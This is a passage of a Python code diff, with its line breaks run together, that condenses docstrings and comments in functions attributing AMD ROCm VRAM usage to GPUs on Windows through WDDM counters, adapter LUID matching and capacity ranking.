list[int]],dev_meta: list[Dict[str, Any]],) -> Optional[tuple[list[Optional[float]], float]]:- """Pair each key's counters with the devices carrying that key, or decline.-- Returns ``(per_device_used_bytes, aggregate_used_bytes)``, or None when any- key's counters are not exactly its devices'. Several devices under one key- (two cards of a model, two cards of an arch) leave per-device unknown --- nothing says which counter is which ordinal -- while still contributing to- the aggregate, which the pairing does not change.- """+ """Pair each key's counters with the devices carrying that key, or decline: returns (per_device_used_bytes, aggregate_used_bytes), or None when any key's counters are not exactly its devices'. Several devices under one key leave per-device unknown, since nothing says which counter is which ordinal, while still contributing to the aggregate."""assigned: list[Optional[float]] = [None] * len(dev_meta)total_used = 0.0for key, positions in positions_by_key.items():useds = useds_by_key.get(key, [])- # Fewer counters than cards under this key means a visible card has no- # reading; more means a same-keyed adapter HIP does not enumerate, or one- # adapter emitting several _phys_N instances. Either way this key's- # counters are not exactly its devices'.+ # Fewer counters than cards under this key means a visible card has no reading; more means a same-keyed adapter HIP does not enumerate, or one adapter emitting several _phys_N instances. Either way the key's counters are not exactly its devices'.if len(useds) != len(positions):return None- # Largest usage against the largest capacity: any other pairing of the- # same multiset only makes the check below stricter, never truer.+ # Largest usage against the largest capacity: any other pairing of the same multiset only makes the check below stricter, never truer.by_capacity = sorted(positions, key = lambda p: -_adapter_counter_capacity(dev_meta[p]))for used, position in zip(sorted(useds, reverse = True), by_capacity):- # A usage above its own card's capacity: a record outliving its- # hardware, so the key is not identifying what it appears to.+ # A usage above its own card's capacity is a record outliving its hardware, so the key is not identifying what it appears to.if used > _adapter_counter_capacity(dev_meta[position]):return Nonetotal_used += used@@ -4262,36 +3200,7 @@ def _attribute_adapter_useds_by_key(def _match_adapter_used_by_luid(adapters: list[tuple[str, float]], dev_meta: list[Dict[str, Any]]) -> Optional[tuple[list[Optional[float]], float]]:- """Attribute per-adapter used bytes to torch devices on the adapter LUID.-- Joins each counter to a DirectX adapter record by the LUID in its instance- name, then to a torch device by what the record and the device agree on.- Identity, not capacity, so it resolves the single-GPU case that- _match_adapter_used_to_devices can never force (nothing smaller exists to- exceed) and stays right when a busy foreign adapter outweighs an idle card.-- The model name is tried first, because it separates two cards of one arch- (a 9070 beside a 9070 XT) where the arch cannot. DirectX takes it from the- driver INF and HIP from the ASIC record, so the two spellings CAN differ by- more than normalizing fixes, and a declined name join then falls to the gfx- target -- which is also what tells an iGPU from the dGPU beside it. The arch- pass runs only when every AMD record has one, so a driver too old to write- ``AdapterFamily`` cannot leave a hidden card's counter looking like the- visible card's.-- Measured on a Windows gfx1151 (driver 32.0.21041.1000): DirectX said- "AMD Radeon(TM) 8060S Graphics" and so did ``props.name``, an exact match, so- the name pass carried it. That driver wrote NO ``AdapterFamily`` at all, so- the gfx fallback was unavailable on the one machine this has been measured- on. The two keys are therefore not the belt and braces this reads as: a- driver that both spells the name differently and omits ``AdapterFamily``- declines the join outright and drops back to capacity ranking. That is the- safe direction, but it means the name pass is load bearing in practice.-- Returns ``(per_device_used_bytes, aggregate_used_bytes)``, or None when- neither key establishes the join, so the caller falls back to capacity- ranking.- """+ """Attribute per-adapter used bytes to torch devices on the adapter LUID: join each counter to a DirectX record by the LUID in its instance name, then to a torch device by what the record and device agree on. Identity, not capacity, so it resolves the single-GPU case ranking never can and stays right when a busy foreign adapter outweighs an idle card. The model name is tried first, since it separates two cards of one arch, with the gfx target as fallback -- and that pass runs only when every AMD record has one, so a driver too old to write AdapterFamily cannot make a hidden card's counter look like the visible card's. Measured on a Windows gfx1151 the name pass carried it and that driver wrote no AdapterFamily at all, so the two keys are not belt and braces: the name pass is load bearing in practice. None when neither key establishes the join, so the caller falls back to capacity ranking."""records = _windows_amd_adapter_records_by_luid()if not records:return None@@ -4327,23 +3236,12 @@ def _match_adapter_used_by_luid(positions_by_key.setdefault(device_key(meta), []).append(position)if "" in positions_by_key: # a visible device carrying no such keycontinue- # AMD usage this key cannot place, so the key is not identifying- # reliably: a card whose Description differs from its props.name leaves- # its own counter under one key while a hidden card sits under the- # device's, and the pairing would hand over the hidden card's bytes.- # Declining drops a masked second AMD card back to capacity ranking,- # which is where it already was.+ # AMD usage this key cannot place means the key is not identifying reliably: a card whose Description differs from its props.name leaves its own counter under one key while a hidden card sits under the device's, and the pairing would hand over the hidden card's bytes. Declining drops a masked second AMD card back to capacity ranking, where it already was.if set(useds_by_key) - set(positions_by_key):continuematched = _attribute_adapter_useds_by_key(useds_by_key, positions_by_key, dev_meta)if matched is not None:- # Same-keyed cards leave those devices unknown and feed only the- # aggregate (#7452). That is a result, not a reason to stop, and it- # is not all-or-nothing: a host with one uniquely named card beside- # two same-named ones of different arch resolves ONE device by name- # and all three by gfx. So rank passes by how many devices they- # actually place, keep the first on a tie, and stop early only on a- # pass that leaves nothing for a later one to improve.+ # Same-keyed cards leave those devices unknown and feed only the aggregate (#7452). That is a result, not a reason to stop, and not all-or-nothing: a host with one uniquely named card beside two same-named ones of different arch resolves ONE device by name and all three by gfx. Rank passes by how many devices they place, keep the first on a tie, and stop early only when nothing is left to improve.resolved = sum(used is not None for used in matched[0])if resolved == len(dev_meta):return matched@@ -4355,25 +3253,7 @@ def _match_adapter_used_by_luid(def _match_adapter_used_to_devices(adapter_useds: list[float], device_totals: list[float]) -> list[Optional[float]]:- """Attribute per-adapter used bytes to torch devices by capacity ranking.-- Windows shares no key between LUID counters and torch ordinals, so usages are- ranked against device totals and each is trusted only when capacity *forces* it- (it exceeds every smaller device); an ambiguous ranking reports unknown- (``None``) rather than fabricate a per-index free.-- Extra counters mean a hidden/display adapter, and the noise filter may have- dropped a real reading, so values are emitted only when the supra-threshold- counters number EXACTLY the visible devices AND capacity forces the mapping;- otherwise every device is unknown. Best-effort but correct for the common- loaded-card case (#7072). Returns a list aligned to ``device_totals``.-- ``device_totals`` must be the DEDICATED capacity each counter can fill, never a- unified-memory total. A widened total reranks its device, raises the threshold- that forces a pairing, and lifts the ceiling below which a usage is judged- impossible, which costs other devices their readings and admits counters that- belong to no visible card.- """+ """Attribute per-adapter used bytes to torch devices by capacity ranking, since Windows shares no key between LUID counters and torch ordinals: each usage is trusted only when capacity FORCES it (it exceeds every smaller device), and an ambiguous ranking reports None rather than fabricate a per-index free. Extra counters mean a hidden/display adapter and the noise filter may have dropped a real reading, so values are emitted only when the supra-threshold counters number EXACTLY the visible devices. ``device_totals`` must be the DEDICATED capacity each counter can fill, never a unified total: a widened total reranks its device, raises the threshold that forces a pairing, and admits counters belonging to no visible card."""n = len(device_totals)if n == 0:return []@@ -4381,45 +3261,24 @@ def _match_adapter_used_to_devices(ranked_positions = sorted(range(n), key = lambda i: -device_totals[i])ranked_totals = [device_totals[pos] for pos in ranked_positions]assigned: list[Optional[float]]- # More counters than devices -> a hidden/display adapter (check before noise filter).+ # More counters than devices -> a hidden/display adapter (check before the noise filter).if len(useds) > n:non_trivial = [u for u in useds if u >= _ROCM_WIN_ADAPTER_MIN_BYTES]if len(non_trivial) != n:- # Not a clean bijection (a masked GPU is busy or a visible card idle):- # no counter maps to a specific card, so report unknown.+ # Not a clean bijection (a masked GPU is busy or a visible card idle): no counter maps to a specific card, so report unknown.return [None] * n- # Exactly n supra-threshold counters: extras were placeholders, so a- # capacity-ranked bijection is plausible.+ # Exactly n supra-threshold counters: extras were placeholders, so a capacity-ranked bijection is plausible.dropped = [u for u in useds if u < _ROCM_WIN_ADAPTER_MIN_BYTES]useds = non_trivialranked_useds = [useds[rank] for rank in range(n)]- # A usage above its ranked capacity is a hidden larger GPU; clamping onto the- # smaller card would fabricate a fully-used reading.+ # A usage above its ranked capacity is a hidden larger GPU; clamping onto the smaller card would fabricate a fully-used reading.for rank in range(n):if ranked_useds[rank] > ranked_totals[rank]:return [None] * n- # One visible device, one supra-threshold counter, and every other counter- # at EXACTLY zero: attribute it. A Strix Halo host emits three instances,- # two of them at 0 dedicated, and the capacity test below cannot decide- # this shape because it needs a next-smaller device to compare against.- #- # Zero is the load-bearing part, not the cardinality. A merely sub-floor- # counter (10 MiB) can be the visible card sitting idle, which would make- # the survivor a hidden GPU's -- see the [6 GiB, 10 MiB] / [8 GiB] case,- # which must stay unknown. An adapter at exactly zero has nothing- # committed and cannot be the holder of the survivor's bytes.- #- # Residual risk, stated rather than hidden: the visible card could itself- # be the zero while a hidden adapter holds the survivor, and then this- # over-reports used. That errs toward understating free, which is the safe- # direction here -- the consumer is training-method selection, where an- # overstated free picks a method that OOMs. Clamped like every other- # branch, so a hidden larger adapter cannot report a fully-used card.+ # One visible device, one supra-threshold counter, and every other counter at EXACTLY zero: attribute it. Zero is the load-bearing part, not the cardinality -- a merely sub-floor counter can be the visible card sitting idle, which would make the survivor a hidden GPU's, while an adapter at exactly zero has nothing committed. Residual risk: the visible card could be the zero while a hidden adapter holds the survivor, which over-reports used and so understates free, the safe direction for training-method selection.if n == 1 and all(u == 0 for u in dropped):return [min(ranked_useds[0], device_totals[0])]- # Capacity forces the mapping only when the usage exceeds the next-smaller- # capacity; the smallest card and merely-fitting usages stay unknown.- # Keeps 40 GiB over 48/8 GiB -> [40, None].+ # Capacity forces the mapping only when the usage exceeds the next-smaller capacity; the smallest card and merely-fitting usages stay unknown.assigned = [None] * nfor rank, pos in enumerate(ranked_positions):if rank + 1 < n and ranked_useds[rank] > ranked_totals[rank + 1]:@@ -4427,8 +3286,7 @@ def _match_adapter_used_to_devices(return assigned# No hidden adapters: every counter is a visible card, so ranking is a permutation.ranked_useds = [useds[rank] if rank < len(useds) else 0.0 for rank in range(n)]- # Ambiguous if a strictly larger usage also fits the next smaller card: the two- # could be swapped without breaking capacity, so ranking can't tell them apart.+ # Ambiguous if a strictly larger usage also fits the next smaller card: the two could be swapped without breaking capacity.for rank in range(n - 1):upper, lower = ranked_useds[rank], ranked_useds[rank + 1]if upper > lower and upper <= ranked_totals[rank + 1]:@@ -4443,50 +3301,16 @@ def _match_adapter_used_to_devices(def _rocm_windows_aggregate_used_bytes(adapter_useds: list[float], device_totals: list[float]) -> Optional[float]:- """Total VRAM used across the visible devices, when the counters cover them 1:1.-- Per-device attribution needs capacity to FORCE a pairing, and on an asymmetric- pair (45 GiB + 8 GiB) nothing at or below 8 GiB is forced, so idle and every- small model report unknown (#7452). The SUM does not need the pairing -- over a- bijection it is the same whichever way round the usages go -- so the System tab- keeps a real figure where per-device honestly cannot. Emitted only when the- counter list IS the visible set, established by cardinality alone. That rests on- one ASSUMPTION, stated as such because it is not confirmed against Microsoft's- counter documentation: that ``Get-Counter`` emits exactly one instance per WDDM- adapter, so a visible card is always in the list and a list exactly as long as- the visible set therefore holds those cards and nothing else. It fails closed if- that is wrong: a second instance for one adapter makes the list longer than the- visible set, which returns None rather than a total. Verify it before widening- this, not before trusting it. ``device_totals`` carries the same requirement as- _match_adapter_used_to_devices: dedicated capacity, never a unified total, or- the check above stops rejecting usages no visible card could hold.-- Deliberately NOT the noise filter _match_adapter_used_to_devices uses. Dropping- sub-threshold counters and summing the rest is safe for per-device attribution,- which only ever emits a capacity-FORCED value, but not for a sum, which emits- every counter it kept. The counters carry no vendor, LUID or PCI key, so a- retained counter cannot be told apart from a foreign adapter: a card hidden by- ``HIP_VISIBLE_DEVICES``, an iGPU, an NVIDIA card in the same box or a Basic- Render Driver placeholder above the cutoff. Whenever such an adapter is busier- than one visible card is idle, the filter drops the visible card and keeps the- foreign one, and the sum silently gains bytes on no visible card at all. A host- total that is confidently wrong is worse than Unknown, so an unexplained instance- means ``None``. Extra instances are common, so this is narrow on purpose;- widening it needs the counters joined to devices on LUID or PCI bus id rather- than on capacity rank, the same key _match_adapter_used_to_devices lacks.- """+ """Total VRAM used across the visible devices, when the counters cover them 1:1. Per-device attribution needs capacity to FORCE a pairing, which an asymmetric pair defeats (#7452), but the SUM does not need the pairing, so the System tab keeps a real figure where per-device cannot. Emitted only when the counter list IS the visible set, established by cardinality alone, which rests on an unconfirmed ASSUMPTION that Get-Counter emits exactly one instance per WDDM adapter; it fails closed if that is wrong. Deliberately NOT the noise filter _match_adapter_used_to_devices uses: dropping sub-threshold counters is safe for a capacity-FORCED value but not for a sum, since a retained counter cannot be told from a foreign adapter and the sum would silently gain bytes on no visible card. A host total that is confidently wrong is worse than Unknown. ``device_totals`` must be dedicated capacity, never a unified total."""n = len(device_totals)if n == 0 or not adapter_useds:return None- # More counters than devices: one is not ours, and no key says which. Fewer: a- # visible card has no reading. Either way the sum is not the visible set's.+ # More counters than devices: one is not ours, and no key says which. Fewer: a visible card has no reading. Either way the sum is not the visible set's.if len(adapter_useds) != n:return Noneuseds = sorted(adapter_useds, reverse = True)ranked_totals = sorted(device_totals, reverse = True)- # A usage above its ranked capacity is on no visible card, so even at matching- # length the list is not the visible set (a reading was dropped while parsing, or- # a counter is not a dedicated-VRAM figure).+ # A usage above its ranked capacity is on no visible card, so even at matching length the list is not the visible set.for rank in range(n):if useds[rank] > ranked_totals[rank]:return None@@ -4496,35 +3320,7 @@ def _rocm_windows_aggregate_used_bytes(def _rocm_windows_unified_used_bytes(dedicated: Optional[list[tuple[str, float]]] = None,) -> Optional[float]:- """Used VRAM for a unified-memory ROCm APU on Windows, from the WDDM counters.-- Dedicated Usage alone saturates at the carve-out on an APU and is wrong past- it. Measured on a gfx1151 Strix Halo host (89.47 GiB torch total), holding N- GiB in another process, deltas over baseline:-- held dedicated shared sum- 4 + 4.14 + 0.04 + 4.18- 16 +16.60 + 0.08 +16.68- 24 +24.58 + 0.04 +24.62- 40 +29.07 +11.29 +40.36- 48 +29.19 +19.02 +48.21-- Dedicated plateaus around 30.5 GiB and the overflow lands in Shared, so only- the sum tracks the allocation. Discrete cards are unaffected: this is reached- only when ``_rocm_props_total_is_carve_out`` says the part is unified.-- Adapter SELECTION still keys off Dedicated Usage alone, deliberately. Display- and placeholder adapters report 0 dedicated while carrying gigabytes of shared- (a Basic Render Driver instance on the same host holds 1.30 GiB shared), so- filtering on the sum would stop telling them apart from the compute device and- would silently add a foreign adapter's bytes. Returns ``None`` unless exactly- one adapter clears the noise floor, matching the caution in- ``_rocm_windows_aggregate_used_bytes``.-- ``dedicated`` lets a caller that already holds a Dedicated Usage snapshot- hand it over: each query is an out-of-process PowerShell call, and re-sampling- would also answer from a different instant than the caller's own attribution.- """+ """Used VRAM for a unified-memory ROCm APU on Windows, from the WDDM counters. Dedicated Usage alone saturates at the carve-out: measured on a gfx1151 Strix Halo host, dedicated plateaus around 30.5 GiB while the overflow lands in Shared (holding 48 GiB: +29.19 dedicated, +19.02 shared), so only the sum tracks the allocation. Adapter SELECTION still keys off Dedicated Usage alone, deliberately: display and placeholder adapters report 0 dedicated while carrying gigabytes of shared, so filtering on the sum would add a foreign adapter's bytes. None unless exactly one adapter clears the noise floor. ``dedicated`` lets a caller hand over a snapshot it already holds, since each query is an out-of-process PowerShell call answering from a different instant."""if dedicated is None:dedicated = _rocm_windows_perf_counter_vram_by_adapter()if not dedicated:@@ -4532,26 +3328,16 @@ def _rocm_windows_unified_used_bytes(candidates = [(instance, used) for instance, used in dedicated if used >= _ROCM_WIN_ADAPTER_MIN_BYTES]- # Two compute adapters means no key says which is the visible one, and zero- # means the card is idle below the floor: neither is a figure we can stand on.+ # Two compute adapters means no key says which is the visible one, and zero means the card is idle below the floor: neither is a figure we can stand on.if len(candidates) != 1:return Noneinstance, dedicated_used = candidates[0]shared = _rocm_windows_perf_counter_vram_by_adapter("Shared Usage")- # A failed Shared query is not zero shared usage. Past the carve-out the- # overflow lives entirely in Shared, so defaulting to zero there reports the- # measured 48 GiB case as 30.5 and overstates free by 19 GiB, which is the- # direction that OOMs. Nothing here knows where the carve-out sits, so decline- # rather than guess whether this reading was saturated. A query that SUCCEEDS- # but omits the LUID is a real zero, and is kept.+ # A failed Shared query is not zero shared usage: past the carve-out the overflow lives entirely in Shared, so defaulting to zero reported the measured 48 GiB case as 30.5 and overstated free by 19 GiB, the direction that OOMs. A query that SUCCEEDS but omits the LUID is a real zero, and is kept.if shared is None:return Noneshared_used = next((used for name, used in shared if name == instance), 0.0)- # A negative cooked counter is a broken reading, not low usage. The caller- # clamps the upper bound only, and the payload derives free as total minus- # used, so a negative sum publishes negative used and a free above total.- # Decline for the same reason a failed Shared query declines: nothing here- # can tell how much of the reading is wrong.+ # A negative cooked counter is a broken reading, not low usage: the payload derives free as total minus used, so a negative sum publishes negative used and a free above total. Decline, as a failed Shared query does.if dedicated_used < 0.0 or shared_used < 0.0:return Nonereturn dedicated_used + shared_used@@ -4560,22 +3346,7 @@ def _rocm_windows_unified_used_bytes(def _rocm_windows_per_device_vram(device_indices: list[int], adapters: Optional[list[tuple[str, float]]] = None) -> tuple[list[Dict[str, Any]], Optional[float]]:- """Per-GPU VRAM on Windows AMD/ROCm: total from torch properties, widened to- the driver pool on a unified APU, used from the per-adapter Dedicated Usage- counter.-- Returns ``([{index, visible_ordinal, name, used_gb, total_gb}], aggregate_gb)``- per visible GPU, or ``([], None)`` when torch can't enumerate devices so callers- fall through to the torch last resort. ``aggregate_gb`` is the visible set's- total used VRAM, which survives a pairing no single device can claim (#7452),- and ``None`` when even that is not established.-- ``used_gb`` is ``None`` when the counter is unavailable, when the pairing is not- capacity-forced, or when this device's total was widened to the unified pool --- that counter measures the dedicated segment, so it is not a numerator for a- total spanning the shared one. The two totals are kept apart internally for the- same reason: the counters are ranked against the carve-out, never the pool.- """+ """Per-GPU VRAM on Windows AMD/ROCm: total from torch properties, widened to the driver pool on a unified APU, used from the per-adapter Dedicated Usage counter. Returns ([{index, visible_ordinal, name, used_gb, total_gb}], aggregate_gb), or ([], None) when torch cannot enumerate devices. ``aggregate_gb`` is the visible set's total used VRAM, which survives a pairing no single device can claim (#7452). ``used_gb`` is None when the counter is unavailable, the pairing is not capacity-forced, or this device's total was widened to the unified pool -- that counter measures the dedicated segment, so it is no numerator for a pool-spanning total, which is also why the two totals are kept apart internally."""if platform.system() != "Windows":return [], Nonemod, _ = _torch_get_device_module()@@ -4587,75 +3358,22 @@ def _rocm_windows_per_device_vram(try:props = mod.get_device_properties(ordinal)total_bytes = int(props.total_memory)- # What the Dedicated Usage counters are RANKED against, which is not- # what is shown to the user: that counter measures the dedicated- # segment, so the carve-out is its ceiling and the pool is not.- # Ranking against a widened total puts a 2 GiB APU reading above a- # 10 GiB discrete one and admits a counter no visible card can hold.+ # What the Dedicated Usage counters are RANKED against, which is not what the user is shown: that counter's ceiling is the carve-out, and ranking against a widened total puts a 2 GiB APU reading above a 10 GiB discrete one and admits a counter no visible card can hold.dedicated_bytes = total_bytes- # On a unified-memory APU props.total_memory CAN be the dedicated- # carve-out rather than what torch can use; same correction, and the- # same APU-only price for a context, as _torch_get_device_inventory.- # Measured on a Windows gfx1151, driver 32.0.21041.1000 with torch- # 2.11.0+rocm7.13.0, props.total_memory already spans the GTT pool- # (89.47 GB against a 32 GB BIOS carve-out), so the split is a- # property of some stacks and not of Windows. Hence the comparison- # below rather than an unconditional adopt: this has to be inert- # where the two agree. The free half of the reading is the untrusted- # one either way, the total is fine.+ # On a unified-memory APU props.total_memory CAN be the dedicated carve-out rather than what torch can use; same correction, and the same APU-only price for a context, as _torch_get_device_inventory. On the measured Windows gfx1151 props.total_memory already spans the GTT pool, so the split is a property of some stacks, not of Windows: hence a comparison rather than an unconditional adopt.total_is_pool = False- # Whether the driver CONFIRMED this total reaches the pool, as opposed- # to it merely not having been widened. A probe that fails leaves a- # carve-out-sized total standing, and a unified part is exactly where- # that is possible, so the two are not the same question.+ # Whether the driver CONFIRMED this total reaches the pool, as opposed to it merely not having been widened: a probe that fails leaves a carve-out-sized total standing, and a unified part is exactly where that is possible.pool_confirmed = False- # POSITIVELY unified, not _rocm_props_total_is_carve_out, and this is- # the gate on the probe rather than only on what the probe's answer is- # used for. mem_get_info attaches a primary HIP context worth ~612 MiB- # that is never released, main reaches this function without ever- # calling it, and the carve-out classifier deliberately fails open for- # an unclassified DISCRETE card. Gating on it would therefore have made- # a telemetry poll take 612 MiB off every discrete GPU on the host, to- # obtain a total that is then not used for anything: only a positively- # unified part takes the widened total or the unified numerator.+ # POSITIVELY unified, and gating the PROBE rather than only its answer: mem_get_info attaches a ~612 MiB context that is never released, and the carve-out classifier deliberately fails open for an unclassified DISCRETE card, so gating on that would take 612 MiB off every discrete GPU to obtain a total nothing then uses.unified = Falsetry:- # Inside the try with the probe it gates: both are probes, and a- # probe that throws must cost this device its correction, not its- # place in the list.+ # Inside the try with the probe it gates: a probe that throws must cost this device its correction, not its place in the list.unified = _rocm_props_are_positively_unified(props)if unified and hasattr(mod, "mem_get_info"):pool_bytes = int(mod.mem_get_info(ordinal)[1])- # >= not >, and the equal case is the ONLY one that occurs.- # hipMemGetInfo's total and hipDeviceProp_t::totalGlobalMem- # are both device->info().globalMemSize_ in clr (hip_memory.cpp,- # hip_device.cpp); only `free` is sourced separately. So these- # two numbers are the same variable read twice and can never- # differ on an AMD backend.- #- # That makes this look like a tautology, and taken alone it is.- # What carries it is the conjunction at pool_scoped below:- # on Windows the backend is PAL, and paldevice.cpp adds 50-75%- # of the WDDM shared heap to globalMemSize_ whenever- # settings().apuSystem_, which is Pal::GpuType::Integrated --- # the same flag that fills hipDeviceProp_t::integrated and so- # the same one _rocm_classify_unified_memory gates on. A part- # this classifier calls unified therefore HAS a pool-scoped- # total by construction, which is the proof the equality alone- # does not supply. Measured twice: 89.465 GB under a 32 GB- # carve-out here, and 107.87 GB under a 96 GB VGM in- # ROCm/TheRock#3032, matching the PAL formula exactly.- #- # Linux is the opposite regime -- globalMemSize_ is the KFD- # framebuffer heap and CAN be carve-out sized -- but this- # function returns ([], None) off Windows, so it never applies.+ # >= not >, and the equal case is the ONLY one that occurs: hipMemGetInfo's total and hipDeviceProp_t::totalGlobalMem are both device->info().globalMemSize_ in clr, so they are one variable read twice. What carries the check is the conjunction at pool_scoped below: on Windows the backend is PAL, and paldevice.cpp adds 50-75% of the WDDM shared heap to globalMemSize_ whenever settings().apuSystem_ -- the same flag _rocm_classify_unified_memory gates on -- so a part this classifier calls unified HAS a pool-scoped total by construction (measured 89.465 GB under a 32 GB carve-out, and 107.87 GB under a 96 GB VGM in ROCm/TheRock#3032). Linux is the opposite regime, but this function returns ([], None) off Windows.pool_confirmed = pool_bytes >= total_bytes- # Kept for the shrink guard, not because widening is reachable:- # per the above, pool_bytes > total_bytes cannot hold on AMD.- # The classifier says carve-out for a discrete card on an- # unsettled runtime too, and unlike the inventory this path- # carries a used: a shrunk total reports past 100% utilization- # and zero free.+ # Kept for the shrink guard, not because widening is reachable: the classifier says carve-out for a discrete card on an unsettled runtime too, and unlike the inventory this path carries a used, so a shrunk total reports past 100% utilization and zero free.if pool_bytes > total_bytes:logger.debug("ROCm unified memory: ordinal %d total %.2f -> %.2f GB (driver pool)",@@ -4677,16 +3395,7 @@ def _rocm_windows_per_device_vram(# Second join key for _match_adapter_used_by_luid (#8863)."gfx": str(getattr(props, "gcnArchName", "") or ""),"total_is_pool": total_is_pool,- # Whether Shared Usage belongs in this device's numerator is- # a question about the PART, not about whether this call- # happened to widen anything. On the measured gfx1151 the two- # totals already agree, so total_is_pool stays false while the- # total is pool-scoped all the same, and Dedicated alone would- # be paired with it. It is also the stricter question:- # _rocm_props_total_is_carve_out fails open, so a discrete- # card can widen, and shared bytes are host memory its- # props.total_memory never counted. Same test- # get_gpu_memory_info applies before summing the two counters.+ # Whether Shared Usage belongs in this device's numerator is a question about the PART, not about whether this call widened anything: on the measured gfx1151 the two totals already agree, so total_is_pool stays false while the total is pool-scoped all the same. It is also the stricter question, since _rocm_props_total_is_carve_out fails open and shared bytes are host memory a discrete card's props.total_memory never counted."positively_unified": unified,"pool_confirmed": pool_confirmed,}@@ -4696,18 +3405,13 @@ def _rocm_windows_per_device_vram(if not dev_meta:return [], None- # Re-sampling here would leave a caller's cardinality check applied to a- # DIFFERENT sample than the one attribution runs on, and costs a second- # ~1.3 s PowerShell call. A validated snapshot is passed in instead.+ # Re-sampling here would apply a caller's cardinality check to a DIFFERENT sample than attribution runs on, and costs a second ~1.3 s PowerShell call. A validated snapshot is passed in instead.if adapters is None:adapters = _rocm_windows_perf_counter_vram_by_adapter()aggregate_gb: Optional[float] = Nonewhole_adapter: list[Optional[int]] = [None] * len(dev_meta)if adapters:- # Identity first, in the order the keys are exact: HIP's own LUID, then- # the DirectX record reached by name or arch. Either answers where- # capacity ranking declines unless the sizes force a pairing, which one- # visible GPU never does.+ # Identity first, in the order the keys are exact: HIP's own LUID, then the DirectX record reached by name or arch. Either answers where capacity ranking declines unless the sizes force a pairing, which one visible GPU never does.by_hip = _match_adapter_used_by_hip_luid(adapters, dev_meta)by_identity: Optional[tuple[list[Optional[float]], float]] = Noneif by_hip is not None:@@ -4729,44 +3433,13 @@ def _rocm_windows_per_device_vram(# Counter unavailable: show every GPU with a correct total, used unknown.assigned = [None] * len(dev_meta)- # A pool-scoped total needs a numerator that spans the same ground. Dedicated- # Usage does not: it saturates at the carve-out and is wrong past it, so- # pairing it with the pool total would report a loaded card as mostly free,- # and the caller derives free as total minus used.- # _rocm_windows_unified_used_bytes sums Dedicated and Shared for exactly this- # (#9362 measured the plateau at ~30.5 GiB on a gfx1151 and the overflow- # landing in Shared). A decline still has to null the reading rather than- # leave the carve-out figure standing under a pool-sized total.- #- # Pool-scoped covers both ways to get there: a total this call widened, and a- # confirmed APU whose props.total_memory already spanned the pool, which is- # what the measured gfx1151 does. Keying on the widening alone would leave- # that host, the one this PR is about, on the plateaued counter. Being a UMA- # part is not enough by itself though: it says what the device is, not what- # scope the retained total has, and an APU whose driver probe failed still- # carries a carve-out-sized one that Dedicated Usage is the right numerator- # for. Hence pool_confirmed.+ # A pool-scoped total needs a numerator spanning the same ground, and Dedicated Usage saturates at the carve-out, so pairing them reports a loaded card as mostly free (#9362 measured the plateau at ~30.5 GiB on a gfx1151). _rocm_windows_unified_used_bytes sums Dedicated and Shared for exactly this, and a decline must null the reading rather than leave the carve-out figure under a pool-sized total. Pool-scoped covers both routes -- a total this call widened, and a confirmed APU whose props.total_memory already spanned the pool -- while being a UMA part is not enough by itself, since an APU whose driver probe failed still carries a carve-out-sized total Dedicated Usage is right for.pool_scoped = [m["total_is_pool"] or (m["positively_unified"] and m["pool_confirmed"]) for m in dev_meta]if any(pool_scoped):only = dev_meta[0] if len(dev_meta) == 1 else None- # Two conditions beyond "this device wants the sum", both of which the- # matcher applies to its own readings and the unified helper does not:- #- # adapters falsy the Dedicated query already failed. Passing None- # reads as "no snapshot supplied" and pays for the- # same failing PowerShell call a second time, on a- # path that polls, only to return unknown anyway.- # a NON-ZERO sub-threshold row- # the helper picks the lone counter above the noise- # floor, which on a masked host can be a hidden GPU- # while the visible APU is the small one; its usage- # would then be published as the APU's. The matcher- # declines exactly this shape, requiring every dropped- # counter to be an EXACT zero, so the same rule holds- # here. An adapter at zero has nothing committed and- # cannot be the holder of the survivor's bytes.+ # Two conditions beyond "this device wants the sum", both applied by the matcher to its own readings and not by the unified helper: a falsy ``adapters`` means the Dedicated query already failed, and passing None would pay for the same failing PowerShell call again on a polling path; and a NON-ZERO sub-threshold row means the helper's lone above-noise counter could be a hidden GPU while the visible APU is the small one, so every dropped counter must be an EXACT zero, which has nothing committed.wants_sum = only is not None and pool_scoped[0] and only["positively_unified"]placeholders_only = bool(adapters) and all(used == 0 for _, used in adapters if used < _ROCM_WIN_ADAPTER_MIN_BYTES@@ -4775,18 +3448,12 @@ def _rocm_windows_per_device_vram(_rocm_windows_unified_used_bytes(adapters) if wants_sum and placeholders_only else None)if unified_used is not None:- # Every other reading is clamped on its way through the matcher.- # This one bypasses it, and the payload derives free as total minus- # used, so an unclamped sum publishes negative free. The lower bound- # is belt and braces: the helper already declines a negative reading- # at source, and this keeps the guarantee local to the consumer that- # publishes the number.+ # Every other reading is clamped on its way through the matcher; this one bypasses it, and the payload derives free as total minus used, so an unclamped sum publishes negative free.unified_used = max(0.0, min(unified_used, float(only["total_bytes"])))assigned = [(unified_used if scoped else used) for scoped, used in zip(pool_scoped, assigned)]- # The aggregate is the visible set's exact total, so it survives only- # when every pool-scoped member got a figure.+ # The aggregate is the visible set's exact total, so it survives only when every pool-scoped member got a figure.aggregate_gb = (round(unified_used / (1024**3), 2)if unified_used is not None and len(dev_meta) == 1@@ -4903,15 +3570,14 @@ def get_gpu_utilization() -> Dict[str, Any]:index_kind = result.get("index_kind"),)- # Fallback Windows ROCm: per-adapter VRAM attribution (issue #7072), so- # every visible GPU is shown instead of a sum collapsed onto one device.+ # Fallback Windows ROCm: per-adapter VRAM attribution (#7072), so every visible GPU is shown instead of a sum collapsed onto one device.if IS_ROCM and platform.system() == "Windows":_win_ids = _get_parent_visible_gpu_spec().get("numeric_ids")if not _win_ids:_win_ids = list(range(_torch_get_physical_gpu_count() or 0))_win_devices, _win_aggregate = _rocm_windows_per_device_vram(_win_ids)if _win_devices:- # Across several GPUs the engine sum isn't per-device, so leave it unset.+ # Across several GPUs the engine sum is not per-device, so leave it unset._win_util = (_rocm_windows_perf_counter_gpu_util_pct(_win_devices[0].get("luid"))if len(_win_devices) == 1@@ -4926,7 +3592,6 @@ def get_gpu_utilization() -> Dict[str, Any]:vram_used_gb_aggregate = _win_aggregate,)- # Fallback Linux ROCmif IS_ROCM and platform.system() == "Linux":_linux_used, _linux_total = _rocm_linux_sysfs_vram_gb()if _linux_used is not None and _linux_total is not None:@@ -4955,7 +3620,7 @@ def get_gpu_utilization() -> Dict[str, Any]:],)- # Last resort: torch mem_get_info (process-local) for all visible GPUs+ # Last resort: torch mem_get_info (process-local) for all visible GPUs._visible_spec = _get_parent_visible_gpu_spec()_numeric_ids = _visible_spec.get("numeric_ids") or []if not _numeric_ids:@@ -4988,7 +3653,6 @@ def get_gpu_utilization() -> Dict[str, Any]:)return 